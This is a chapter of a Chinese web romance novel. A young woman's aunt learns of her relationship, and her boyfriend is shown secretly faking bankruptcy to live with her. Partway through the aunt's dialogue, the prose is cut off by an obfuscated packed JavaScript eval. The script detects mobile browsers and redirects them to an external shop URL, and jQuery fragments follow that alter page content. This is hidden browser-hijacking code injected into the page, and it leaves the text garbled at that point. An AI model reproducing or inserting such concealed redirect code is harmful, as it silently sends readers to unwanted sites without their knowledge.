51. 穷光蛋

作品:《惊!捡来的小雀竟是我同学

    在李照熙的目光下,蓝桉挺直腰板面不改色把舒槐抱进房间。


    他小心关上门,对上李照熙的视线。


    “小姨。”避无可避,蓝桉硬着头皮上前叫她。


    “你俩跟我玩地道战呢?”李照熙嗤笑一声,还真是小看了她这个侄女。


    蓝桉怕她迁怒舒槐,主动揽下罪责:“我的错,不该怂恿舒槐半夜来我房间。”


    耳边又传来一声笑,女人一摆手,“得了,我还不知道自己家侄女的德性吗,整个一女流氓。”


    “行了,你也别耷拉个头,我没有怪你们的意思,小情侣热恋期难舍难分我理解。”


    她说着,伸了个懒腰继续回房间睡美容觉去了。


    蓝桉心情顿时放松不少,这算是......被舒小槐家人认可了吗?


    一想到是这样,他内心止不住雀跃,无声弯了弯唇角。


    哪怕蓝赟那个讨厌鬼站在他面前他也可以勉勉强强给个好脸色。


    算算时间,蓝家公司酒会的时间也快到了。


    距离上次蓝赟来找他过了大半个月,这期间没见他有什么大动作,蓝桉心里疑惑,按照他那个睚眦必报、斤斤计较的性格不应该啊。


    正想着,宗霖泽突然给他发了条消息。


    宗霖泽:阿蓝,出来聚聚。


    下一秒,他发了个地名,是他们常去的会所。


    似乎预判到他会拒绝,宗霖泽迅速又甩了条消息过来。


    宗霖泽:别围着你老婆转了,看看孩子吧,都多久没一起玩了。


    蓝桉觉得好笑,打字框里拒绝的话逐一删除,手指敲点两下。


    蓝桉:知道了。


    回完消息,他手指点在“老婆”两个字上,清冷的眼里一片温软。


    返回到微信聊天界面,把置顶的昵称改为“老婆”,做完这一切,蓝桉放下手机,系好围裙,走向自己的领地。


    舒槐睡到日上三竿才醒。


    她揉着惺忪的眼,打着大大的哈欠走出房间,李照熙已经洗漱好坐在饭桌前吃饭。


    左右看了看,没发现蓝桉的身影,舒槐好奇地问:“小姨,蓝桉呢?”


    “小蓝一早做完饭就出去了,特地告诉我一定要叫你起来吃早饭。”


    舒槐瞥了眼墙上挂的圆钟,时针指向十二点。


    “那你为什么不叫醒我?”


    李照熙拿了个花卷馒头,咬了一大口:“你还怪上我了,我叫了你多少次,跟头猪一样怎么都叫不醒。”


    “昨天晚上捉鬼去了?”


    意识到自己昨天晚上做了什么,舒槐立马心虚地撇过头,拉开椅子坐下。


    “......没有,最近有点累。”她干巴巴解释。


    李照熙当然知道她昨天晚上干什么去了,懒得拆穿她,只嫌弃地吐槽她:“真不知道小蓝天天怎么叫醒你这头小猪的。”


    亲小姨在线吐槽最为致命。


    舒槐一噎,小声嘟囔:“哪里就是猪了?”


    她上课的时候起床可积极了,从不赖床,只在周末和放假的时候才这样好么。话又说回来,放假不就是用来休息的,她睡会儿懒觉怎么了。


    不过自从蓝桉搬进来后,她周末都会被他叫醒吃早饭,吃完再睡。


    至于怎么叫醒的,舒槐脑子里闪过少儿不宜的画面,手不自觉摸了摸唇,脸颊变得红扑扑。


    “脸怎么这么红?”李照熙注意到她的不对劲。


    舒槐脸更热了,忙说:“这天说变就变,有点热。”


    南安最近换季,温度直线升高。


    李照熙点点头,让她注意身体,别中暑了。


    后者胡乱点头,为了掩饰尴尬,她打开手机准备刷刷短视频。


    看见了蓝桉早上出门给她发的消息。


    小雀:我出去一趟,宗霖泽这死人天天嚷着我见色忘义。


    小雀:你要是无聊,可以来会所找我。


    小雀:别忘了吃饭(我回来要检查的)。


    舒槐对着手机傻笑,敲敲点点。


    老婆:知道了,你好好玩,我在家等你。


    她略一思索,打算偷偷跑过去给他个惊喜。


    这么想着,她呵呵笑出了鹅叫。


    李照熙翻了个白眼,拿筷子在她头上轻敲:“好好吃饭!”


    “哦。”舒槐放下手机,美滋滋地吃着饭。


    最近过得太幸福了,小姨在,蓝桉在,她珍视的每一个人都在啊。


    如果爸爸妈妈在天有灵,也一定会替她感到开心的。


    “舒宝宝,过几天是你爸妈忌日,这次......带上小蓝吧。”李照熙突然回国也有这个原因,好几年没去给姐姐姐夫扫墓了,她挺想他们的。


    “好啊,爸爸妈妈一定会对他满意的。”舒槐迫不及待要告诉蓝桉这个好消息。


    李照熙撇嘴,“那可不一定,说不定你老爸在天上快呕死了,自己的宝贝闺女要被拐走了。”


    舒槐回忆了一下爸爸对自己宠爱的程度,挠挠头,估计还真会。


    她还记得自己小时候爸爸总喜欢抱着她,经常让她坐在他宽阔肩膀上看世界,几乎她要什么就给她买什么。


    妈妈总会在旁边说他:“你这么宠女儿,以后她嫁人了怎么办?”


    爸爸冷哼,举着她抛高高:“我女儿哪里是谁想娶就能娶的,再说了,就算一辈子不嫁人有什么关系,我赚那么多钱就是为了给我的小宝贝花的。”


    “是吧,宝贝女儿?”他两手接住咯咯笑的舒槐。


    舒槐那时小不点一个,只知道爸爸妈妈对自己好,说什么她都应。


    妈妈摸摸她汗湿的头发,温柔地笑,“到时候女儿嫁人你可别哭。”


    爸爸不乐意听到这种话,抱着她走开。


    要是没有那场车祸就好了。


    李照熙想到了姐姐,也就是舒槐的妈妈。


    小时候家里穷,姐姐承担起照顾她的责任。


    后来长大,家里人负担不起两个人的学费,姐姐毅然决然退学,把机会留给了她。


    寒冬腊月,她一个人在人生地不熟的城市里打好几份工,赚来的钱大部分都给了她,让她交学费和生活费。


    即使李照熙选择了冷门的野生动物保护专业,她也支持她,可以说,李照熙是站在姐姐的肩膀上看世界。


    只是她还没来得及让她享福,姐姐就先她一步离去。


    想到这里,李照熙眨眨眼湿润的眼,望着舒槐和姐姐六分相似的脸,瞬间回到了小时候姐姐背着小小的她干农活的场景。


    她会一直对舒槐好,会一直做那个给她兜底的人。


    永远给她底气面对一切不公。


    因为,她的小侄女是姐姐在这世上留给她的最后一件礼物。


    李照熙希望她这一辈子幸福快乐、平安健康。


    ——


    吃完饭,舒槐换了衣服,临走时被李照熙叫了回来,勒令她背上给她新买的包。


    “哇,小姨,这个包我喜欢好久了一直没货。”舒槐爱不释手地摸着她肖想许久的名牌包包。


    李照熙说:“知道你一直喜欢这个包,在国外逛街看见还有话顺便给你买了。”她说得轻巧,但舒槐知道一定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843950|188481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不是顺便的事,这个包有多难买,她再清楚不过,蹲了大半年了都没买到。


    她喜滋滋背上新包,抱着李照熙亲了一口,“谢谢小姨。”


    “哎呦,多大了,快去吧。”李照熙状似嫌弃地说,忍不住扬起的嘴角暴露了她内心。


    口是心非。


    舒槐毫不吝啬地又亲了一口,大步跑了出去。


    “臭丫头。”


    李照熙望着她欢快的背影,偷笑道。


    舒槐没去过这个会所,直接定位打了个车。


    二十分钟后,计程车抵达目的地。


    舒槐下车,望着面前金碧辉煌的大楼,楼层高到看不见顶。


    这么高档的会所?


    她心里疑惑,蓝桉不是没钱了吗?


    转念一想,宗霖泽也是个公子哥,又清楚蓝桉的状况,估计不会让他结账。


    也怪她疏忽,应该给蓝桉转点钱的。


    她大步走进去,报了房间号,工作人员领她上去。


    502房间内。


    几个男人三三两两聚在一起,有喝酒的,聊天的,还有几个在打台球,不算安静的房间不断发出台球相碰撞的声音。


    宗霖泽握着球杆,俯身瞄准母球,一杆下去,子球随之进洞。


    他起身,拿起巧克粉擦了擦球杆,说道:“阿蓝,在舒槐家待得怎么样?”


    “瞧你气色红润,神清气爽,小日子老滋润了吧。”


    蓝桉穿着白衬衫黑西裤,最上面的两颗纽扣没有扣上,懒散地敞开,露出精致锁骨,紫红印记烙在他颈侧,是昨晚舒槐咬的。在场的人大都经历过人事,一看就知道怎么回事。


    他微微低头,一手摇晃酒杯,一手搭在黑色真皮沙发背上,双腿交叠,俨然一副矜贵公子的模样。


    “嗯,挺不错的。”蓝桉喝了一口杯里的酒。


    “喂喂喂,谈个恋爱至于这么骚气吗?”另一位公子哥端起酒杯,朝他走过来。


    蓝桉勾唇,“至于。”


    宗霖泽嘿嘿笑了几声:“阿蓝现在浑身散发恋爱的酸臭味,小心误伤。”


    公子哥跟着附和。


    “去你的。”


    蓝桉没有玩乐的兴趣,频繁低头看手机,除了上午那几条短信,舒槐没有再发消息过来。


    “怎么,嫂子不来吗?”角落里穿着一身骚粉的人开口问道。


    蓝桉收起手机,“不来。”


    “怪不得蓝哥一副魂不守舍的模样,原来是想嫂子了。”


    这话一出,引得在场所有人哈哈大笑。


    宗霖泽停下手里的球局,饶有兴趣地问他:“阿蓝,有没有想过你假装破产无家可归这事被舒槐知道该怎么收场?”


    “她不会知道。”


    “世界上没有不透风的墙,我劝你还是早做打算。”


    蓝桉眼神深邃,无意识摇晃手里的酒杯。


    “你不说就不会有人知道。”


    宗霖泽摇摇头,“难不成你还打算瞒一辈子?装一辈子穷光蛋?”


    “别逗了,你炒股赚的钱都够你下辈子衣食无忧了吧,有没有蓝家对你来说有什么差别。”


    “当时你逼着我合伙跟你演戏我就不同意。”


    蓝桉被他说得心里烦躁,拧着眉,将杯子里的酒一饮而尽,起身穿上外套:“先走一步。”


    他心里不知道为什么乱得厉害,他得赶紧回去找舒小槐。


    这么想着,他拉开没关紧的门,猝不及防对上一双熟悉的黑眸。


    蓝桉嘴唇微张,好半晌,才发出声音:


    “舒小槐。”